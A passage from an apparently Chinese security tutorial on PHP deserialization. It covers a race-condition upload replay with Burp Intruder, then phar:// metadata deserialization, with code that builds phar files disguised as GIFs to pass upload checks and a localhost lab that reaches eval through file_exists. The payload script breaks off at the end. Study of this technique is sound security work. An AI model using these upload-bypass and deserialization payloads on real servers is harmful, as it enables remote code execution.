<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201005153642955-1121014841.png" alt="" width="827" height="68" loading="lazy"></p>
<p>在文件上传的时候,抓取数据包,send to intruder模块,尝试大线程重放数据包:</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201005154633722-1454451431.png" alt="" width="756" height="365" loading="lazy"></p>
<p>开始爆破:</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201005154822446-276672438.png" alt="" width="407" height="394" loading="lazy">&nbsp;&nbsp;<img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201005154844470-379590573.png" alt="" width="434" height="392" loading="lazy"></p>
<p>就这样通过时间竞争就可以实现反序列化rce。</p>
<h1 id="h2-10">phar伪协议触发php反序列化</h1>
<h2>前言</h2>
<p>通常我们在利用反序列化漏洞的时候,只能将序列化后的字符串传入<span style="background-color: rgba(255, 255, 153, 1)">unserialize()</span>,随着代码安全性越来越高,利用难度也越来越大。但在不久前的Black Hat上提出利用<span style="background-color: rgba(255, 255, 153, 1)">phar文件会以序列化的形式存储用户自定义的meta-data</span>这一特性,拓展了php反序列化漏洞的攻击面。该方法在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合<span style="background-color: rgba(255, 255, 153, 1)">phar://</span>伪协议,可以不依赖<span style="background-color: rgba(255, 255, 153, 1)">unserialize()</span>直接进行反序列化操作。</p>
<h2>phar介绍和漏洞原理</h2>
<p>phar就是php压缩文档。它可以把多个文件归档到同一个文件中,而且不经过解压就能被php访问并执行,与file://,php://等类似,也是一种流包装器。</p>
<p><span style="color: rgba(255, 0, 0, 1)"><strong>phar文件有四部分构成</strong>:</span>&nbsp;</p>
<p><strong>1. a stub</strong></p>
<p>识别phar拓展的标识,格式为:<span style="background-color: rgba(255, 255, 153, 1)">xxx&lt;?php xxx; __HALT_COMPILER();?&gt;</span>,对应的函数 <span style="background-color: rgba(255, 255, 153, 1)">Phar::setStub</span>。前期内容不限,但必须以 <span style="background-color: rgba(255, 255, 153, 1)">__HALT_COMPILER();?&gt;</span>结尾,否则phar扩展将无法识别这个文件为phar文件。</p>
<p><strong>2. a manifest describing the contents</strong></p>
<p>phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的<span style="background-color: rgba(255, 255, 153, 1)">meta-data</span>,这是漏洞利用的核心部分。对应函数<span style="background-color: rgba(255, 255, 153, 1)">Phar::setMetadata</span>—设置phar归档元数据。</p>
<p><strong>3. the file contents</strong></p>
<p>被压缩文件的内容。</p>
<p><strong>4.&nbsp; a signature for verifying Phar integrity (phar file format only)</strong></p>
<p>签名,放在文件末尾。对应函数<span style="background-color: rgba(255, 255, 153, 1)">Phar :: stopBuffering</span>—停止缓冲对Phar存档的写入请求,并将更改保存到磁盘。</p>
<p><span style="color: rgba(255, 0, 0, 1)"><strong>这里有两个关键点:</strong></span></p>
<p>1. <strong>文件标识</strong>,必须以 <span style="background-color: rgba(255, 255, 153, 1)">__HALT_COMPILER();?&gt;</span> 结尾,但前面的内容没有限制,也就是说我们可以轻易伪造一个图片文件或者pdf文件来绕过一些上传限制</p>
<p>2. <strong>反序列化</strong>,phar存储的<span style="background-color: rgba(255, 255, 153, 1)">meta-data</span>信息以序列化方式存储,当<span style="background-color: rgba(255, 255, 153, 1)">文件操作函数</span>通过<span style="background-color: rgba(255, 255, 153, 1)">phar://</span>伪协议解析phar文件时,文件内容会被解析成phar对象,然后phar对象内的<span style="background-color: rgba(255, 255, 153, 1)">meta-data</span>会被反序列化。</p>
<p><span style="background-color: rgba(255, 255, 153, 1)">meta-data</span>是用<span style="background-color: rgba(255, 255, 153, 1)">serialize()</span>生成并保存在phar文件中,当内核调用<span style="background-color: rgba(255, 255, 153, 1)">phar_parse_metadata()</span>解析<span style="background-color: rgba(255, 255, 153, 1)">meta-data</span>数据时,会调用<span style="background-color: rgba(255, 255, 153, 1)">php_var_unserialize()</span>对其进行反序列化操作,因此会造成反序列化漏洞。</p>
<p>而在一些上传点,我们可以更改phar的文件头并且修改其后缀名绕过检测,如:test.gif,里面的<span style="background-color: rgba(255, 255, 153, 1)">meta-data</span>却是我们提前写入的恶意代码,而且可利用的文件操作函数又很多,所以这是一种不错的绕过+执行的方法。&nbsp;</p>
<h2 id="0x01-构造有反序列化payload的phar文件">构造有序列化的phar文件</h2>
<p>本地生成一个phar文件,要想使用Phar类里的方法,必须将php.ini文件中的<span style="background-color: rgba(255, 255, 153, 1)">phar.readonly</span>配置项配置为0或Off</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201006010720994-119068201.png" alt="" width="814" height="88" loading="lazy"></p>
<p>PHP内置phar类,其中的一些方法如下:</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px"><span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">实例一个phar对象供后续操作</span>
$phar = <span style="color: rgba(0, 0, 255, 1)">new</span> Phar(<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">joker.phar</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">);

</span><span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">开始缓冲Phar写操作 </span>
$phar-&gt;<span style="color: rgba(0, 0, 0, 1)">startBuffering()

</span><span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">设置stub</span>
$phar-&gt;setStub(<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">&lt;?php __HALT_COMPILER(); ?&gt;</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">);

</span><span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">以字符串的形式添加一个文件到 phar 档案 </span>
$phar-&gt;addFromString(<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">test.php</span><span style="color: rgba(128, 0, 0, 1)">'</span>,<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">&lt;?php echo </span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 255, 1)">this</span> <span style="color: rgba(0, 0, 255, 1)">is</span> test file<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">;</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">);

</span><span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">把一个fileTophar目录下的文件归档到phar档案</span>
$phar-&gt;buildFromDirectory(<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">fileTophar</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">)

</span><span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">该函数解压一个phar包,extractTo()提取phar文档内容</span>
$phar-&gt;extractTo()</span> </pre>
</div>
<p id="0x01-构造有反序列化payload的phar文件">生成phar文件的代码如下:</p>
<p>phar.php</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">&lt;?<span style="color: rgba(0, 0, 0, 1)">php
    </span><span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">反序列化payload构造</span>
    <span style="color: rgba(0, 0, 255, 1)">class</span><span style="color: rgba(0, 0, 0, 1)"> TestObject {
    }
    @unlink(</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">phar.phar</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">);

    </span><span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">实例一个phar对象供后续操作,后缀名必须为phar</span>
    $phar = <span style="color: rgba(0, 0, 255, 1)">new</span> Phar(<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">phar.phar</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">);
    </span><span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">开始缓冲对phar的写操作 </span>
    $phar-&gt;<span style="color: rgba(0, 0, 0, 1)">startBuffering();
   
    </span><span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">设置识别phar拓展的标识stub,必须以 __HALT_COMPILER(); ?&gt; 结尾</span>
    $phar-&gt;setStub(<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">&lt;?php __HALT_COMPILER(); ?&gt;</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">);

    </span><span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">将反序列化的对象放入该文件中</span>
    $o = <span style="color: rgba(0, 0, 255, 1)">new</span><span style="color: rgba(0, 0, 0, 1)"> TestObject();
    $o</span>-&gt;data=<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">i am bmjoker</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">;
    </span><span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">将自定义的归档元数据meta-data存入manifest</span>
    $phar-&gt;<span style="color: rgba(0, 0, 0, 1)">setMetadata($o);

    </span><span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">phar本质上是个压缩包,所以要添加压缩的文件和文件内容</span>
    $phar-&gt;addFromString(<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">test.txt</span><span style="color: rgba(128, 0, 0, 1)">"</span>, <span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">bmjoker</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">);
    </span><span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">停止缓冲对phar的写操作</span>
    $phar-&gt;<span style="color: rgba(0, 0, 0, 1)">stopBuffering();
</span>?&gt;</span></pre>
</div>
<p>运行代码会生成一个phar.phar文件在当前目录下,使用winhex打开</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201006142133367-1363976618.png" alt="" width="587" height="230" loading="lazy"></p>
<p>可以明显的看到<span style="background-color: rgba(255, 255, 153, 1)">meta-data</span>是以序列化的形式存储的,有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过<span style="background-color: rgba(255, 255, 153, 1)">phar://</span>伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下:</p>
<table style="border: 2px solid rgba(0, 0, 0, 1); background-color: rgba(255, 255, 204, 1)" border="2" cellspacing="1" cellpadding="1" align="center">
<tbody>
<tr>
<td style="text-align: center"><strong>&nbsp;<strong>受影响的文件操作函数列表</strong>&nbsp;</strong></td>
<td>&nbsp;<strong><br></strong></td>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>&nbsp;</td>


























































</tr>
<tr>
<td style="text-align: center">fileatime</td>
<td style="text-align: center">filectime</td>
<td style="text-align: center">file_exists</td>
<td style="text-align: center">file_get_contents</td>
<td style="text-align: center">touch</td>
<td style="text-align: center">get_meta_tags</td>


























































</tr>
<tr>
<td style="text-align: center">file_put_contents</td>
<td style="text-align: center">file</td>
<td style="text-align: center">filegroup</td>
<td style="text-align: center">fopen</td>
<td style="text-align: center">hash_file</td>
<td style="text-align: center">get_headers</td>


























































</tr>
<tr>
<td style="text-align: center">fileinode</td>
<td style="text-align: center">filemtime</td>
<td style="text-align: center">fileowner</td>
<td style="text-align: center">fileperms</td>
<td style="text-align: center">md5_file</td>
<td style="text-align: center">getimagesize</td>


























































</tr>
<tr>
<td style="text-align: center">is_dir</td>
<td style="text-align: center">is_executable</td>
<td style="text-align: center">is_file</td>
<td style="text-align: center">is_link</td>
<td style="text-align: center">sha1_file</td>
<td style="text-align: center">getimagesizefromstring</td>


























































</tr>
<tr>
<td style="text-align: center">is_readable</td>
<td style="text-align: center">is_writable</td>
<td style="text-align: center">is_writeable</td>
<td style="text-align: center">parse_ini_file</td>
<td style="text-align: center">hash_update_file</td>
<td style="text-align: center">imageloadfont</td>


























































</tr>
<tr>
<td style="text-align: center">copy</td>
<td style="text-align: center">unlink</td>
<td style="text-align: center">stat</td>
<td style="text-align: center">readfile</td>
<td style="text-align: center">hash_hmac_file</td>
<td style="text-align: center">exif_imagetype</td>


























































</tr>


























































</tbody>

























































</table>
<p>这些函数里面可以使用phar协议,当然还有常用的文件包含的几个函数 <span style="background-color: rgba(255, 255, 153, 1)">include</span>、<span style="background-color: rgba(255, 255, 153, 1)">include_once</span>、<span style="background-color: rgba(255, 255, 153, 1)">requrie</span>、<span style="background-color: rgba(255, 255, 153, 1)">require_once</span></p>
<p><span style="background-color: rgba(255, 255, 255, 1)">对刚才生成的phar使用文件操作函数实现反序列化读取:</span></p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">&lt;?<span style="color: rgba(0, 0, 0, 1)">php
    </span><span style="color: rgba(0, 0, 255, 1)">class</span><span style="color: rgba(0, 0, 0, 1)"> TestObject{
      function __destruct(){
            echo $</span><span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;<span style="color: rgba(0, 0, 0, 1)">data;
      }
    }

    $filename </span>=<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">phar://phar.phar/test.txt</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">;
    file_get_contents($filename);
</span>?&gt;</span></pre>
</div>
<p><span style="background-color: rgba(255, 255, 255, 1)"><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201006143739433-102659923.png" alt="" width="312" height="74" loading="lazy"></span></p>
<p><span style="background-color: rgba(255, 255, 255, 1)">成功对<span style="background-color: rgba(255, 255, 153, 1)">meta-data</span>里面的数据进行反序列化输出。</span></p>
<h2 id="23-phar">将phar伪造成其他格式的文件</h2>
<p>在前面分析phar的文件结构时可能会注意到,php识别phar文件是通过其文件头的<span style="background-color: rgba(255, 255, 153, 1)">stub</span>,更确切一点来说是 <span style="background-color: rgba(255, 255, 153, 1)">__HALT_COMPILER();?&gt;</span> 这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">&lt;?<span style="color: rgba(0, 0, 0, 1)">php
    </span><span style="color: rgba(0, 0, 255, 1)">class</span><span style="color: rgba(0, 0, 0, 1)"> TestObject {
    }

    @unlink(</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">phar.phar</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">);
    $phar </span>= <span style="color: rgba(0, 0, 255, 1)">new</span> Phar(<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">phar.phar</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">);
    $phar</span>-&gt;<span style="color: rgba(0, 0, 0, 1)">startBuffering();
    </span><span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">设置stub,增加gif文件头</span>
    $phar-&gt;setStub(<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">GIF89a</span><span style="color: rgba(128, 0, 0, 1)">"</span>.<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">&lt;?php __HALT_COMPILER(); ?&gt;</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">);
    $o </span>= <span style="color: rgba(0, 0, 255, 1)">new</span><span style="color: rgba(0, 0, 0, 1)"> TestObject();
    $o</span>-&gt;data = <span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">i am bmjoker</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">;
    </span><span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">将自定义meta-data存入manifest</span>
    $phar-&gt;<span style="color: rgba(0, 0, 0, 1)">setMetadata($o);
    </span><span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">添加要压缩的文件</span>
    $phar-&gt;addFromString(<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">test.txt</span><span style="color: rgba(128, 0, 0, 1)">"</span>, <span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">test</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">);
    </span><span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">签名自动计算</span>
    $phar-&gt;<span style="color: rgba(0, 0, 0, 1)">stopBuffering();
</span>?&gt;</span></pre>
</div>
<p>运行代码会生成一个phar.phar文件在当前目录下,使用winhex打开</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201006145058560-1897375722.png" alt="" width="615" height="244" loading="lazy"></p>
<p>采用这种方法可以绕过一些通过校验文件头的上传点。</p>
<p>来个小demo:</p>
<p>upload_file.php:</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">&lt;?<span style="color: rgba(0, 0, 0, 1)">php
</span><span style="color: rgba(0, 0, 255, 1)">if</span> (($_FILES[<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">file</span><span style="color: rgba(128, 0, 0, 1)">"</span>][<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">type</span><span style="color: rgba(128, 0, 0, 1)">"</span>]==<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">image/gif</span><span style="color: rgba(128, 0, 0, 1)">"</span>)&amp;&amp;(substr($_FILES[<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">file</span><span style="color: rgba(128, 0, 0, 1)">"</span>][<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">name</span><span style="color: rgba(128, 0, 0, 1)">"</span>], strrpos($_FILES[<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">file</span><span style="color: rgba(128, 0, 0, 1)">"</span>][<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">name</span><span style="color: rgba(128, 0, 0, 1)">"</span>], <span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">.</span><span style="color: rgba(128, 0, 0, 1)">'</span>)+<span style="color: rgba(128, 0, 128, 1)">1</span>))== <span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">gif</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">) {
    echo </span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">Upload: </span><span style="color: rgba(128, 0, 0, 1)">"</span> . $_FILES[<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">file</span><span style="color: rgba(128, 0, 0, 1)">"</span>][<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">name</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">];
    echo </span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">Type: </span><span style="color: rgba(128, 0, 0, 1)">"</span> . $_FILES[<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">file</span><span style="color: rgba(128, 0, 0, 1)">"</span>][<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">type</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">];
    echo </span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">Temp file: </span><span style="color: rgba(128, 0, 0, 1)">"</span> . $_FILES[<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">file</span><span style="color: rgba(128, 0, 0, 1)">"</span>][<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">tmp_name</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">];
    </span><span style="color: rgba(0, 0, 255, 1)">if</span> (file_exists(<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">upload_file/</span><span style="color: rgba(128, 0, 0, 1)">"</span> . $_FILES[<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">file</span><span style="color: rgba(128, 0, 0, 1)">"</span>][<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">name</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">])){
      echo $_FILES[</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">file</span><span style="color: rgba(128, 0, 0, 1)">"</span>][<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">name</span><span style="color: rgba(128, 0, 0, 1)">"</span>] . <span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)"> already exists. </span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">;
    }
    </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)">
    {
      move_uploaded_file($_FILES[</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">file</span><span style="color: rgba(128, 0, 0, 1)">"</span>][<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">tmp_name</span><span style="color: rgba(128, 0, 0, 1)">"</span>],<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">upload_file/</span><span style="color: rgba(128, 0, 0, 1)">"</span> .$_FILES[<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">file</span><span style="color: rgba(128, 0, 0, 1)">"</span>][<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">name</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">]);
      echo </span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">Stored in: </span><span style="color: rgba(128, 0, 0, 1)">"</span> . <span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">upload_file/</span><span style="color: rgba(128, 0, 0, 1)">"</span> . $_FILES[<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">file</span><span style="color: rgba(128, 0, 0, 1)">"</span>][<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">name</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">];
    }
}
</span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)">{
    echo </span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">Invalid file,you can only upload gif</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">;
}
</span>?&gt;</span></pre>
</div>
<p>upload_file.html</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">&lt;body&gt;
&lt;form action=<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">http://127.0.0.1/upload_file.php</span><span style="color: rgba(128, 0, 0, 1)">"</span> method=<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">post</span><span style="color: rgba(128, 0, 0, 1)">"</span> enctype=<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">multipart/form-data</span><span style="color: rgba(128, 0, 0, 1)">"</span>&gt;
    &lt;input type=<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">file</span><span style="color: rgba(128, 0, 0, 1)">"</span> name=<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">file</span><span style="color: rgba(128, 0, 0, 1)">"</span> /&gt;
    &lt;input type=<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">submit</span><span style="color: rgba(128, 0, 0, 1)">"</span> name=<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">Upload</span><span style="color: rgba(128, 0, 0, 1)">"</span> /&gt;
&lt;/form&gt;
&lt;/body&gt;</span></pre>
</div>
<p>file_un.php</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">&lt;?<span style="color: rgba(0, 0, 0, 1)">php
$filename</span>=$_GET[<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">filename</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">];
</span><span style="color: rgba(0, 0, 255, 1)">class</span><span style="color: rgba(0, 0, 0, 1)"> AnyClass{
    </span><span style="color: rgba(0, 0, 255, 1)">var</span> $output = <span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">echo "ok";</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">;
    function __destruct()
    {
      eval($</span><span style="color: rgba(0, 0, 255, 1)">this</span> -&gt;<span style="color: rgba(0, 0, 0, 1)"> output);
    }
}
file_exists($filename);   </span><span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)"> 漏洞点</span>
?&gt;</span></pre>
</div>
<p><span style="background-color: rgba(255, 255, 255, 1)">upload_file.php对上传文件的类型,后缀进行了判断,限制为GIF文件。而file_un.php文件主要使用<span style="background-color: rgba(255, 255, 153, 1)">file_exists()</span>判断文件是否存在,并且存在魔术方法<span style="background-color: rgba(255, 255, 153, 1)">__destruct()</span>。大概思路为</span>首先根据file_un.php写一个生成phar的php文件,当然需要绕过为gif的限制,所以需要加<span style="background-color: rgba(255, 255, 153, 1)">GIF89a</span>,然后我们访问这个php文件后,生成了<span style="background-color: rgba(255, 255, 153, 1)">phar.phar</span>,修改后缀为gif,上传到服务器,然后利用file_exists,使用<span style="background-color: rgba(255, 255, 153, 1)">phar://</span>执行代码。</p>
<p>构造payload代码eval.php:</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">&lt;?<span style="color: rgba(0, 0, 0, 1)">php
</span><span style="color: rgba(0, 0, 255, 1)">class</span><span style="color: rgba(0, 0, 0, 1)"> AnyClass{
    </span><span style="color: rgba(0, 0, 255, 1)">var</span> $output = <span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">echo "ok";</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">;
    function __destruct()
    {
      eval($</span><span style="color: rgba(0, 0, 255, 1)">this</span> -&gt;<span style="color: rgba(0, 0, 0, 1)"> output);
    }
}
$phar </span>= <span style="color: rgba(0, 0, 255, 1)">new</span> Phar(<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">phar.phar</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">);
$phar </span>-&gt;<span style="color: rgba(0, 0, 0, 1)"> startBuffering();
$phar </span>-&gt; setStub(<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">GIF89a</span><span style="color: rgba(128, 0, 0, 1)">'</span>.<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">&lt;?php __HALT_COMPILER();?&gt;</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">);
$phar </span>-&gt; addFromString(<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">test.txt</span><span style="color: rgba(128, 0, 0, 1)">'</span>,<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">test</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">);
$</span><span style="color: rgba(0, 0, 255, 1)">object</span> = <span style="color: rgba(0, 0, 255, 1)">new</span><span style="color: rgba(0, 0, 0, 1)"> AnyClass();
